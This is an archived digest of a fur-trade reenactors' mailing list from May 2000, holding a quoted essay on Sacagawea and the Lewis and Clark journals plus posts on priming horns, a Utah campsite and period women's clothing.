> [Clark] blead her [drew blood- a common 1800's treatment] the night was
> cloudy with some rain." Then he continued to discuss in great detail
> about a species of bird he had seen.  On the same day, Clark entered
> notes in his journal misspelling the name assigned to her by her Mandan
> captors, "Sahcahgagwea our Indian Woman verry sick.  I blead her, we
> determined to assend the South fork, and one of us, Capt.  Lewis or my
> self to go by land as far as the Snow mountains S.  20 [degrees] W.  and
> examine the country..."
> However, their journal entries indicate that as Sacagawea's condition
> worsened they began to realize she was their most precious asset.  Clark
> had her moved to the back of his sleeping quarters which was more
> sheltered from the weather.  On June 13 Clark gave her a dose of salts
> and a mixture of bark to apply to her infected region, "which eased her
> condition".  He further recorded that, "The Indian woman much wors this
> evening, she will not take any medison, her husband [Charbonneau]
> petitions to return &, river more rapid late in the evening...".
>
> On June 16, 1805 Lewis also recorded Sacagawea's condition.  "This gave
> me some concern as well for the poor object herself, then with a young
> child in her arms, as from the consideration of her being our only
> dependence for a friendly negociation with the Snake Indians [Shoshone
> Tribe] on whom we depend for horses to assist us in our portage from the
> Missouri [to travel by land from the River, through the rugged
> mountainous terrain to the Pacific Ocean". During those days, Sacagawea
> continued to carry luggage and her nursing baby who was strapped on her
> back, while the Expedition Party traveled over rough terrain.  Everyone
> had to do their share, and Charbonneau made no special concessions for
> the "Squaw" he had won as a gambling debt.  Nor did he follow the
> instructions given to him by Lewis concerning her care and feeding during
> her illness.
>
> One day Lewis gave her water he obtained from a nearby sulfur springs,
> opium, and a mixture of ground bark believed capable of assisting her
> recovery.  In fact, her symptoms demonstrate that she was experiencing
> septic shock from a spreading bacterial infection, which was frequently
> deadly before the advent of today's antibiotics. A good medic but a poor
> speller, Lewis recorded "when I came down I found her pulse were scarcely
> perceptible, very quick frequently irregular and attended with strong
> nervous symptoms, that of the twitching of the fingers and leaders of the
> arm...  she complains principally of the lower region of the abdomen...
> from obstruction of the mensis...." Sacagawea was very ill.
> Clark further recorded on the evening of June 16, 1805 that she was "out
> of her senses...If she dies it will be the fault of her husband as I am
> now convinced."
>
> Clark's medical knowledge and these recorded symptoms indicate that the
> explorers believed that Sacagawea had a venereal disease. When the
> treatments Lewis had administered began to increase her strength, she was
> compelled by Chabonneau to stagger out of the camp to collect wild apples
> to cook, which was the duty of an obedient "Squaw." Her condition had
> worsened until Lewis intervened to provide her with additional rest and
> medication. It can be speculated that the obvious concern and assistance,
> which both Lewis and Clark had shown to Sacagawea during her severe
> illness and recovery, had created a permanent bond of loyalty.  She would
> perform valuable services at critical times which actually saved the
> Expedition.
>
> On July 14, 1805 Clark recorded that Sacagawea had recognized the
> territory they were in because her Shoshone Tribe had traveled it when
> she was a child.  Clark was faced with deciding which of the many Indian
> trails ahead of them would lead the Expedition through the correct Pass.
> Clark writes: "I observe several leading roads which appear to pass to a
> gap in the mountain..  The indian woman who has been of great service to
> us as a pilot through this country reccommends a gap in the mountain more
> south which I shall cross".  It was named the Bozeman Pass, and was later
> chosen as the best route for the Northern Pacific Railway!
>
> The leaders of the Expedition had clearly begun to value the importance
> Sacagawea held for the success of the President's order to find the
> "Northwest Passage." They also needed her to communicate with her
> Shoshone Tribe in order to obtain the horses that were essential to carry
> them and all their supplies through the mountains to reach the Pacific
> Coast.  They had lost faith in Charbonneau's judgment, and slowly became
> aware of the uncalled for abuse he leveled at Sacagawea.
>
> On July 29, 1805 Lewis reported that Sacagawea, her infant, Captain Clark
> and Charbonneau all nearly drowned in a flash flood.  A sudden downpour
> caused a torrent of water, mud, boulders and debris to violently descend
> upon them, as they huddled in a previously dry ravine.  Charbonneau again
> demonstrated his incompetence to act intelligently during an emergency.
> Lewis wrote on June 29,1805, that Charbonneau was so frozen with fear
> that he dropped his "gun, shot pouch, horn, tomahawk...  and Clark's
> compass...  a serious loss...".
>
> To emphasize the seriousness of the near drowning, Lewis continued to
> write of the concern he felt for Sacagawea and her infant, "The brier
> [infants cradle and mosquito netting] in which the woman carry's her
> child and all it's cloaths [clothes] wer swept away as they lay at her
> feet[,] she having time only to grab her child; the infant was therefore
> very cold and the woman also had just recovered from a severe
> indisposition [illness] was also wet and cold...".
> Clark also recorded his concern about the incident on July 29, revealing
> that in the aftermath, he even gave Sacagawea some rum to help her
> recover.  This was an unheard of gesture by a White or Indian man towards
> merely a "Squaw".
> Clark wrote: "I derected [directed] the perty to return to the camp at
> the run as fast as possible to get back to the camp where they could get
> warm clothing for the mother and child who were ...  wet and cold, I was
> fearful of a relapse I caused her [Sacagawea] and the others of the party
> to take a little of the spirits [Rum], which my servent had [carried for
> me] in a canteen, which revived [them] verry much".Sacagawea's value to
> Lewis and Clark had finally been realized!  At the same time, they became
> less tolerant of Charbonneau's mistakes and his mistreatment of
> Sacagawea.
>
> On August 14, 1805 Lewis angrily reported in his journal that
> Charbonneau, "struck his Indian Woman for which Capt.  C.[lark] gave him
> a severe reprimand." Although wife abuse was accepted in the tribe of
> Sacagawea's childhood, she clearly began to thrive as her personal rights
> within the Expedition grew.  The longing to return to her Shoshone Tribe
> would diminish after the excitement of the reunion with her brother wore
> off .
>
> A log entry for August 17, 1805, described the first meeting of
> Sacagawea's Shoshone Tribe.  Clark recorded that: "I had not proceeded on
> one mile before I saw at a distance Several Indians on horsback comeing
> towards me, The Inter- preter [Charbonneau] & Squar [Sacagawea] who were
> before me at Some distance danced for the joyful sight, and She
> [Sacagawea] made signs to me that they were her nation [Indian sign
> language of sucking her fingers].".
>
> On the same day Lewis recorded that ".the Indian woman proved to be a
> sister of the Chief Cameahwait.  The meeting of those people was really
> affecting [emotional], particularly between Sah-cah-gar-we-ah and an
> Indian woman, who had been taken prisoner at the same time with her and
> who, had afterwards escaped from the Minnetares and rejoined her nation".
>
>
> On August 19, 1805, Lewis entered into his log the following description
> of Sacagawea's people: "From what has been said of the Shoshones it will
> be readily perceived that they live in a wretched stait [state] of
> poverty.  Yet notwithstanding this extreem poverty they are not only
> cheerful but even gay, fond of gaudy dress and amusements; like most
> other Indians they are great egotists and frequently boast of heroic acts
> which they never performed.
>
> The explorers believed that because Sacagawea's brother was the Chief of
> the Shoshones, the Expedition was more likely to get the horses they
> needed to travel to their final destination, the Pacific Ocean.  However,
> they soon discovered that the Shoshone knew that to help a few White men
> would only bring more people into their lands.  Deception would become
> the initial Shoshone strategy.
>
> By August 24, 1805 the Shoshone's had promised to assist Lewis's group in
> trans- porting their supplies and equip- ment up a mountain where they
> would meet with other members from the Shoshone Village.  The Shoshone
> were to be waiting with the desperately needed horses, enabling the
> Expedition to cross land to the Pacific Coast.  The explorers soon
> learned through Sacagawea's alertness and loyalty to the Expedition, that
> the Shoshone did not intend to help the White man claim their territory.
>
> The Shoshone knew that without the horses the Expedition could not
> proceed deeper into Shoshone territory.  Lewis recorded his personal
> accusations against them on August 25, 1805.  He said that the Shoshone
> Indians knew that they would then never see anymore white men in their
> country.  So they lied to Lewis. Sacagawea discovered the Shoshone deceit
> on the morning of August 25, 1805.  She had heard her people discussing
> their plans for the next day which differed from what they had told
> Lewis.  Some braves had quietly left the camp.  Sacagawea told
> Charbonneau that, instead of meeting Lewis's group on a mountain to
> provide the needed horses, the Shoshone intended to leave the area and
> abandon the explorers to an unknown fate. That evening Charbonneau
> casually mentioned to Lewis that he was to meet the Indians in an
> opposite direction, greatly agitating Lewis by this revelation.  Lewis
> recorded in his log that he angrily questioned Charbonneau and discovered
> that Sacagawea had urgently conveyed this information to Charbonneau many
> hours earlier and that Charbonneau had withheld the vital information.
> Lewis wrote that "I was out of patience with the folly of Charbonneau who
> had not sufficient sagacity to see the consequences...".
>
> The entry Lewis made on the day before (August 24, 1805), indicates that
> Charbonneau may have had reason to be jealous of the high esteem the
> Explorers had developed for Sacagawea.  Lewis gave Sacagawea one of the
> few highly valued horses that they had purchased a few days earlier
> during their first contact with the Shoshone.  Even in her own tribe she
> would have been required to continue walking, while her husband rode
> horseback.  Instead, Sacagawea rode the horse while the irritable
> Charbonneau walked behind. Lewis hurriedly met with the three Shoshone
> Chiefs and convinced them to hold to their promise of selling horses to
> the Expedition, and in return, Lewis promised to provide the Shoshone
> with the rifles needed for protection from enemy tribes, and for hunting
> buffalo.
>
> Sacagawea's relationship to her brother Cameahwait, one of the Shoshone
> Chiefs, allowed the Shoshone to trust the promise made by Lewis to
> provide them with rifles, and in return he got the needed horses to reach
> the ocean. At an encampment near the coast, it was decided that only two
> canoes carrying a lucky few, would be the first to travel down-river to
> view the ocean's shoreline.  On January 6, 1806 Lewis recorded in his log
> that Sacagawea insisted that she be selected among those chosen to first
> view the Pacific Ocean.  To be chosen would confer upon those few the
> great value they held for the success of the Expedition. Lewis recorded
> in his journal that Sacagawea complained to him saying that she, "...had
> traveled a long way to see the great waters, and that now that monstrous
> fish [whales] was also to be seen, she thought it very harsh..." if she
> was not selected among the first group.  Sacagawea was granted this wish
> along with an equal voice in future decisions.  She declined to stay with
> her Shoshone Tribe.  For Sacagawea the trip home was easy: She believed
> that she had earned an equal share of the Modern Democratic World.
> Having acquired the taste of freedom and equality, she would find that
> the white man's world no longer needed the services of a young Native
> American.  She remained living with her controlling and abusive,
> polygamous husband, Charbonneau and his several other "Squaw" wives,
> until her death at about age 24, 7 years after the Lewis and Clark
> Expedition.  Nonetheless, her legend began to grow immediately.  In fact,
> her death in 1812 was not accepted by White or Native American peoples
> until historical documents were unearthed by historians and publicized in
> the middle of the 20th century.
>
> An 1811 journal entry made by Henry Brackenridge, a fur dealer at Fort
> Manual Lisa Trading Post on the Missouri River, stated that both
> Sacagawea and Charbonneau were living at the fort.  He recorded that
> Sacagawea "...had become sickly and longed to reviste her native
> country." The following year, John Luttig, a clerk at Fort Manuel Lisa
> recorded in his journal on December 20, 1812, that "...the wife of
> Charbonneau, a Snake Squaw [the common term used to denote Shoshone
> Indians], died of putrid fever and left behind a fine infant girl."
> Documents held by Clark show that her son, Baptiste, had already been
> entrusted by Charbonneau into Clark's care for a boarding school
> education, at Clark's insistence.
>
> In February 1813, two months after Luttig's journal entry, Fort Manual
> Lisa, located along the Missouri River where many tribes made their home,
> was attacked by hostile Indians killing about 15 men.  The survivors
> included John Luttig and Sacagawea's infant daughter, Lizette.
> Charbonneau was presumed among those killed.
>
> An historical court document demonstrates that Sacagawea was already
> dead.  An adoption document made in the Orphans Court Records in St.
> Louis, Missouri states that "On August 11, 1813, William Clark became the
> guardian of "Tousant Charbonneau, a boy about ten years, and Lizette
> Charbonneau, a girl about one year old." For a Missouri State Court at
> the time, to designate a child as orphaned and to allow an adoption, both
> parents had to be confirmed dead in court papers.
>
> The last recorded document citing Sacagawea's existence appears in
> William Clark's original notes written between 1825-1826.  He lists the
> names of each of the expedition members and their last known whereabouts.
>  For Sacag- awea he writes: "Se car ja we au- Dead". This document, the
> adoption record, and the three independent journal entries verify the
> historical belief that Sacagawea died of disease while still young,
> having been left unappreciated and in obscurity at the South Dakota
> trading post called Fort Manuel Lisa.
>
> However, an opposing view exists that Sacagawea lived happily into old
> age among her own Shoshone people.  Shoshone Tribal history, and a burial
> plot marker on the Shoshone Wind River Reservation in Wyoming proclaims
> that she died at age 78, on April 9, 1884.  It is based on two
> unsubstantiated beliefs.  One is an oral, unwritten Tribal legend that
> states an old woman claiming to be Sacagawea, had lived among them well
> into old age.  The other is a second-hand recollection made by a minister
> 23 years later. In 1907, Rev.  John Roberts, said he had buried an old
> Indian woman on the Wind River Reservation and that people had told him
> that she was Sacagawea.  The truth came out in 1945, when Rev.  Roberts
> was asked by an historian, Blanche Schroer, and he honestly replied that,
> "All I know is I buried an old Indian woman.  The historian, Grace
> Raymond Hebard, told me she was Sacajawea".  Wishful thinking by a proud
> tribe may have understandably affected this web of mis-beliefs.
>
> Because of this deception, a modern day burial site was erected on the
> Shoshone Reservation, in Wyoming, and it is complete with a memorial
> plaque stating her long life.  The truth is that Sacagawea was not buried
> in Wyoming, nor was she born there, and her Shoshone Tribe did not
> inhabit Wyoming at the time of Sacagawea's life.  During her childhood,
> the Shoshone were in Montana and Idaho, where their villages dotted the
> meadowlands near the junction of the Salmon and Lemhi Rivers.
>
> Evidence that Sacagawea's Band of Shoshone Indians lived in this area,
> and not in Wyoming, is confirmed by both Lewis and Clark in their daily
> journals.  They recorded the fact that as the Expedition proceeded up the
> Jefferson River, Sacagawea recognized a large rock formation called
> "Beaver's Head" and that she announced that her tribe would be found on
> "a river beyond the mountains and running to the west." This soon proved
> true.  And not only was the Sho- shone Tribe of her childhood in the area
> as she had predicted, but the explorers soon discovered that her brother
> Cameahwait had become their Chief.
>
> Knowing the "slave-like" treatment commonly given to females in the
> Shoshone Band of Sacagawea's origin, as described in journal notes by
> several Expedition members, the false monument appears to serve merely a
> commercial and sentimental cause.  The truth is, that nobody cared enough
> about her life after the Expedition, either white or Native American, to
> make significant notice and appreciation of the important details of her
> life and her death. Sacagawea's female status and her ethnic identity in
> the early 1800's, kept her in the background of both white and tribal
> society.  Only after the Expedition's incredible value became popularly,
> and politically well accepted, did her personal courage, sacrifices and
> contributions to the opening of the West gain the recognition they
> deserve.
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Now you know why we commemmorate Sacagawea on our new "Gold" dollar.
>
> >O<.>O<.>O<.>O<.>O<.>O<.>O<.>O<.>O<.>O<.>O<.>O<    - - J.
>
>


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From: [e-mail]
Subject: Re: MtMan-List: Prining horn or not
Date: 13 May 2000 11:34:13 EDT

In a message dated 5/11/00 7:44:04 PM Eastern Daylight Time,
[e-mail] writes:

<< Having just gotten a couple of flinters, now comes the question...Do you
 carry a separate priming horn, why or why not? >>

When I hunt I charge and prime from the same horn with 3 F.  But at the range
or in a battle reinactment I use a priming horn or prime from pre rolled
cartridges.  I do that to avoid a major accident if the guy next to me has a
flash that  ignites my priming.  A small cartridge or priming horn going up
in flames will do less damage then the 1 pound of powder that my horn holds
if it were to ignite.

YMOS

C.T. Oakes

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Tracking and Time Frame
Date: 13 May 2000 10:12:38 -0600

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Wynn, try going up either Millville or Providence canyons out of Cache =
Valley. On the Millville canyon side, just before the two come together =
up on top, there is a stock pond on the North side of the trail/road. =
About center of the pond, and a hundred yards toward the Salt Lake, =
there is a slight prominence with a very comfortable rock. From it, you =
can watch the sun set over the lake while your horse crops the green =
grass around the pond. A great place to camp for the night, with lots of =
dry deadfall wood and plenty of grouse for dinner. One of my very =
favorite secret places in the Wasatch.
Bill C
    -----Original Message-----
    From: Wynn & Gretchen Ormond <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Saturday, May 13, 2000 8:12 AM
    Subject: MtMan-List: Tracking and Time Frame
   =20
   =20
    Thank you to those who responded.  My questions are in part an =
attempt to get things "back to normal".  I do want to know the stuff, =
but this provided a good time to ask. =20
   =20
    However, I want to correct a wrong impression I purposely gave.  I =
do not live in Wyo.  J Smith refered to this area as a second home or =
some such.  If I remember right four groups of RMFTs all colided here in =
about 25.  My home is very near the lake that Mr Russell rode up so high =
to over look.  He hunted sheep in the cliffs near it.  I live in Willard =
Utah.   I worked on the benches above Bountiful last year, and the lake =
can be a pretty sight from up high on a winter eve.
   =20
    And Captian I get your point but my son and I ride through these =
hills on the same tall horse so at times like that, he is not "built =
closer to the ground".  He does have "fresh eyes" and that sometimes =
makes him my superior.  I wish I could write the words that could =
descibe the pleasure it is to sit a fine horse with that boy and follow =
a track in the fresh snow on a winter day.   Life is good.
    =20
    YMOS
    WY
     =20
   =20
    4 year old has fresh =3D eyes and is built closer to the ground


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<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Wynn, try going up either Millville =
or=20
Providence canyons out of Cache Valley. On the Millville canyon side, =
just=20
before the two come together up on top, there is a stock pond on the =
North side=20
of the trail/road. About center of the pond, and a hundred yards toward =
the Salt=20
Lake, there is a slight prominence with a very comfortable rock. From =
it, you=20
can watch the sun set over the lake while your horse crops the green =
grass=20
around the pond. A great place to camp for the night, with lots of dry =
deadfall=20
wood and plenty of grouse for dinner. One of my very favorite secret =
places in=20
the Wasatch.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Wynn & Gretchen Ormond <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Saturday, May 13, 2000 8:12 AM<BR><B>Subject: </B>MtMan-List: =
Tracking=20
    and Time Frame<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>Thank you to those who =
responded.  My=20
    questions are in part an attempt to get things "back to=20
    normal".  I do want to know the stuff, but this provided a =
good=20
    time to ask.  </FONT></DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>However, I want to correct a wrong =
impression I=20
    purposely gave.  I do not live in Wyo.  J Smith refered to =
this=20
    area as a second home or some such.  If I remember right four =
groups of=20
    RMFTs all colided here in about 25.  My home is very near the =
lake that=20
    Mr Russell rode up so high to over look.  He hunted sheep in =
the cliffs=20
    near it.  I live in Willard Utah.   I worked on the =
benches=20
    above Bountiful last year, and the lake can be a pretty sight from =
up high=20
    on a winter eve.</FONT></DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>And Captian I get your point but my =
son and I=20
    ride through these hills on the same tall horse so at times like =
that, he is=20
    not "built closer to the ground".  He does have =
"fresh=20
    eyes" and that sometimes makes him my superior.  I wish I =
could=20
    write the words that could descibe the pleasure it is to sit a fine =
horse=20
    with that boy and follow a track in the fresh snow on a winter=20
    day.   Life is good.</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT> </DIV>
    <DIV><FONT face=3DArial size=3D2>YMOS</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>  </FONT></DIV>
    <DIV> </DIV>
    <DIV>
    <P>4 year old has fresh =3D eyes and is built closer to the=20
ground</P></DIV></BLOCKQUOTE></BODY></HTML>

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From: "Larry Huber" <[e-mail]>
Subject: MtMan-List: New to List
Date: 13 May 2000 09:45:37 -0700

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Hello, again, Helen,
    I'm glad you found my suggestions helpful.  Your suggestions on =
dress: man's shirt, simple skirt and moccasins is very typical dress =
seen on women at today's rendezvous.  It's practical and was often worn, =
I suspect, by women isolated from the company of other women.  =
Historically, in societies, women did not dress like men or wear men's =
clothing except as expediency.  Today, of course, try telling that to a =
modern woman.   We are living in a modern society, so wear what you feel =
most comfortable in if history is not your prime objective.

    A white woman of the period we represent from England, France, =
Germany or America would wear garments consisting of the following: A =
shift or chemise undergarment with a petticoat (skirt) over it.  An =
apron went over the petticoat and a bodice(vest) went over the shift =
top.  Moccasins or clogs on the feet and a bonnet atop the head made up =
the typical outfit.
    The shift is a single night gown-like garment made of linen or =
cotton that fell just below the knees .  The sleeves extended just =
beyond the elbows and were tied down with cord or ribbon.
    The petticoat, as skirts were called then, wrapped around the waist =
and was tied with a sewn in cloth belt.  Slits were left in the side =
seams for access to "pockets" which were cloth bags tied with around the =
waist with ribbon.  These handy items, one to each side, rested between =
the shift and petticoat.  The first petticoat was the oldest and worn =
under several layers of additional petticoats depending on the weather.  =
The colder the climate, the more petticoats on top with the newest and =
best on top for church.
    Often, an apron was tied over the petticoat.  Some of the woman's =
best needlework could go into her "dress" apron.  It was the one item of =
clothing she would change if guests showed up unexpected! =20
    A woman was considered improperly dressed if she wasn't wearing a =
bodice and bonnet in public.  A bodice is basically a vest.  They laced =
or buttoned up the front.  The attributes a woman was blessed with would =
determine how far up the bodice the lacing would go.  Most bonnets were =
a variation on the "mob" cap.  The "Mary Washington" cap is a local term =
for it by modern costumers.  It is simplicity itself: a circle of cloth =
gathered about the head with a ribbon.
    A cautionary note about dresses and prairie bonnets.  They are =
inappropriate at a rendezvous.  Those items came into vogue at a later =
period and properly date from the 1850s on.  Those items look as wrong =
on a woman as cowboy clothes look on a man.
    If you are planning on going as a "captive", you should dress as an =
Indian woman.  A good pattern would be a dress made of simple print =
calico(one print on a base color)or solid color cloth cut to a "skin" =
shape.  This pattern is four pieces.  A front and back joined at the =
shoulders with an opening for the head and two side pieces that sew from =
the sleeve cuff all the way beyond the dress hem.  This leaves two ends =
of cloth dangling below the hem line on the sides.  This style mimicked =
the deer legs that hung naturally down from a deerskin dress.  It is a =
old style and quickly disappeared by the Indian War period.
    I hope this clarifies some of the information a gave you on our last =
post.  The history of clothing is an interesting aspect of this =
lifestyle and transports you more than anything else back in time.  When =
you start wearing oddly cut clothing of the day you, at first, find it =
inconvenient because it's different.  You know you've really bought into =
all this when you start wearing it around the house because it feels =
comfortable.  The styles of clothing worn during the fur trade era was =
clothing that had been worn virtually unchanged for hundreds of years.  =
It didn't change because it worked for the common person.  As settlement =
brought ready made clothing and the industrial revolution made such =
items affordable, clothing changed to reflect more fashionable styles.  =
The fur trade is at the end of an era.   And it's clothing was =
disappearing, too.
    Sigh.  I've rambled on too long again, Helen.  See what a little =
education and research will do to you?  Don't get us talking about the =
virtues or vices of flint versus percussion locks!

Good luck.
    Larry Huber

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<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello, again, Helen,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    I'm glad you found =
my=20
suggestions helpful.  Your suggestions on dress: man's shirt, =
simple skirt=20
and moccasins is very typical dress seen on women at today's =
rendezvous. =20
It's practical and was often worn, I suspect, by women isolated from the =
company=20
of other women.  Historically, in societies, women did not dress =
like men=20
or wear men's clothing except as expediency.  Today, of course, try =
telling=20
that to a modern woman.   We <U>are </U>living in a =
modern=20
society, so wear what you feel most comfortable in if history is not =
your prime=20
objective.</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>    A white woman of the =
period we=20
represent from England, France, Germany or America would wear garments=20
consisting of the following: A shift or chemise undergarment with a =
petticoat=20
(skirt) over it.  An apron went over the petticoat and a =
bodice(vest) went=20
over the shift top.  Moccasins or clogs on the feet and a bonnet =
atop the=20
head made up the typical outfit.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    The shift is a =
single night=20
gown-like garment made of linen or cotton that fell just below the knees =
. =20
The sleeves extended just beyond the elbows and were tied down with cord =
or=20
ribbon.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    The petticoat, as =
skirts were=20
called then, wrapped around the waist and was tied with a sewn in cloth=20
belt.  Slits were left in the side seams for access to "pockets" =
which were=20
cloth bags tied with around the waist with ribbon.  These handy =
items, one=20
to each side, rested between the shift and petticoat.  The first =
petticoat=20
was the oldest and worn under several layers of additional petticoats =
depending=20
on the weather.  The colder the climate, the more petticoats on top =
with=20
the newest and best on top for church.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    Often, an apron =
was tied=20
over the petticoat.  Some of the woman's best needlework could go =
into her=20
"dress" apron.  It was the one item of clothing she would change if =
guests=20
showed up unexpected!  </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    A woman was =
considered=20
improperly dressed if she wasn't wearing a bodice and bonnet in =
public.  A=20
bodice is basically a vest.  They laced or buttoned up the=20
front.  The attributes a woman was blessed with would =
determine how=20
far up the bodice the lacing would go.  Most bonnets were a =
variation on=20
the "mob" cap.  The "Mary Washington" cap is a local term for it by =
modern=20
costumers.  It is simplicity itself: a circle of cloth =
gathered about=20
the head with a ribbon.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    A cautionary note =
about dresses=20
and prairie bonnets.  They are inappropriate at a rendezvous.  =
Those=20
items came into vogue at a later period and properly date from the 1850s =

on.  Those items look as wrong on a woman as cowboy clothes look on =
a=20
man.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    If you are planning =
on going as=20
a "captive", you should dress as an Indian woman.  A good pattern =
would be=20
a dress made of simple print calico(one print on a base color)or solid =
color=20
cloth cut to a "skin" shape.  This pattern is four pieces.  A =
front=20
and back joined at the shoulders with an opening for the head and two =
side=20
pieces that sew from the sleeve cuff all the way beyond the dress =
hem. =20
This leaves two ends of cloth dangling below the hem line on the =
sides. =20
This style mimicked the deer legs that hung naturally down from a =
deerskin=20
dress.  It is a old style and quickly disappeared by the Indian War =

period.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    I hope this =
clarifies some of=20
the information a gave you on our last post.  The history of =
clothing is an=20
interesting aspect of this lifestyle and transports you more than =
anything else=20
back in time.  When you start wearing oddly cut clothing of the day =
you, at=20
first, find it inconvenient because it's different.  You know =
you've really=20
bought into all this when you start wearing it around the house because =
it feels=20
comfortable.  The styles of clothing worn during the fur trade era =
was=20
clothing that had been worn virtually unchanged for hundreds of =
years.  It=20
didn't change because it worked for the common person.  As =
settlement=20
brought ready made clothing and the industrial revolution made such =
items=20
affordable, clothing changed to reflect more fashionable styles.  =
The fur=20
trade is at the end of an era.   And it's clothing was =
disappearing,=20
too.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    Sigh.  I've =
rambled on too=20
long again, Helen.  See what a little education and research will =
do to=20
you?  Don't get us talking about the virtues or vices of flint =
versus=20
percussion locks!</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Good luck.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>    Larry=20
Huber</FONT></DIV></BODY></HTML>

------=_NextPart_000_0031_01BFBCBF.FE1AAE00--

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-------------------------------------------------------------------------------

From: "elenyte" <[e-mail]>
Subject: Re: MtMan-List: New to List
Date: 13 May 2000 10:53:03 -0600


----- Original Message -----
Sent: Saturday, May 13, 2000 10:45 AM


>Hello, again, Helen,
    I'm glad you found my suggestions helpful.  Your suggestions on dress:
man's shirt, simple skirt and moccasins is very typical dress seen on women
at today's rendezvous.  It's practical and was often worn, I suspect, by
women isolated from the company of other women.  Historically, in societies,
women did not dress like men or wear men's clothing except as expediency.
Today, of course, try telling that to a modern woman.   We are living in a
modern society, so wear what you feel most comfortable in if history is not
your prime >objective


Thanks again, Larry! Another posting for me to print out.  I'm sorry for not
being clear enough in my previous posts. I definitiely won't be wearing
britches. I do want to create my outfit with the skirt or dress.  But I was
hoping that I could use the same shirt pattern for myself and for my
huusband (Dick).  Drop sleeve type shirts are so easy to make. But not as
easy as the four piece Indian dress that you mentioned.  That might be the
best project for me to start with. The way I figure it, if I keep it simple
to start, then it's more likely the clothing will be authentic for the
times. And that's my goal. Sewing time is not the major issue. But less time
with the needle leaves more time for reading.  :)

-Helen


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From: Angela Gottfred <[e-mail]>
Subject: MtMan-List: Women and women's clothing (was: New to list)
Date: 13 May 2000 10:32:24 -0600

Welcome to the list, Helen! Larry Huber has given you some excellent advice
for getting started, but I thought I'd add some info that may be helpful.

Larry mentioned Native and European/American portrayals; historically,
though, there were very few white women in the area of the Mountain Men.
Here are three white women you can look into, if you're interested--perhaps
list members can suggest some others:

Narcissa Whitman--wife of the Rev. Whitman, came west overland to establish
a mission. Killed by Natives along with many others at the mission. From
1836-1847, they were at Ft. Vancouver, and Walla Walla.

Jane Barnes--a barmaid from Plymouth, England, she came to the fur post
formerly known as Astoria (at the mouth of the Columbia River) on a North
West Company (NWC) ship as the room-mate of a NWC wintering partner, Donald
MacTavish, in 1814. She stayed for a year, before leaving again on another
NWC ship.

Jane Beaver--wife of the Rev. Herbert Beaver, who was posted to Fort
Vancouver from England 1836-1838. They arrived there by ship. He and his
wife made themselves thoroughly disliked, and they were forced to leave.

Aside from the women Larry mentioned, there is another possibility--a Metis
(half-breed) woman. (BTW, Metis is pronounced "matey"). They were the
daughters of Native women and white fur traders and voyageurs. Sometimes
they were raised in their mother's culture, sometimes in their father's
culture, and usually (I believe) they had ties to both groups. By the time
the Mountain Men were in full swing, there was a substantial population of
Metis women, and many of them became involved in the Oregon fur trade--for
example, Dr. John McLoughlin's wife, Marguerite McKay, was the daughter of
a fur trader and his Native wife. Generally these women grew up at a fur
post, dressing mostly in a combination of working-class European fashion
and Native dress: a man's shirt,  a cloth petticoat (skirt), and sometimes
a short gown (a sort of woman's jacket) was worn on top; a wool trade
blanket was worn instead of a capot; on the legs & feet, cloth or leather
leggings and leather moccasins were worn on the feet. Toward the end of the
period (c. 1840-1850), a wool checked or plaid shawl may  have also been
worn. There is no evidence to suggest that Metis women wore corsets (also
called stays), but European women definitely did. Metis and Native women
were not overly fond of hats or caps either. If you're interested in more
information on Metis women, there are books I can recommend; just ask.

If you feel interested in authenticity, do NOT make or buy an"English
bodice" or "French bodice". I have four of these useless garments hanging
in my closet; I wish I'd invested my time & money in short gowns instead.
Many serious researchers & reenactors have looked in vain for evidence that
these garments were worn in England or North America in the 18th or 19th
century. Ditto, I'm afraid, for the circular "mob cap". Although Jas.
Townsend & Co (www.jastown.com) sells both of them, and Beth Gilgun gave
patterns for both of these garments in _Book of Buckskinning 2_, you won't
find them in her _Tidings of the 18th Century_ or her article "A Wardrobe
for the Frontier Woman 1740-1840" in _Book of Buckskinning 7_. If you're
interested in wearing European clothing, I'd highly recommend you start by
reading the latter article--it has patterns for a better cap, c.1830, and
short gown & bed jacket (aka short gown). If you're making clothes from
Beth's patterns, make a trial garment out of cheap fabric first; the
patterns are all in Beth's size, and she's fairly petite--at least,
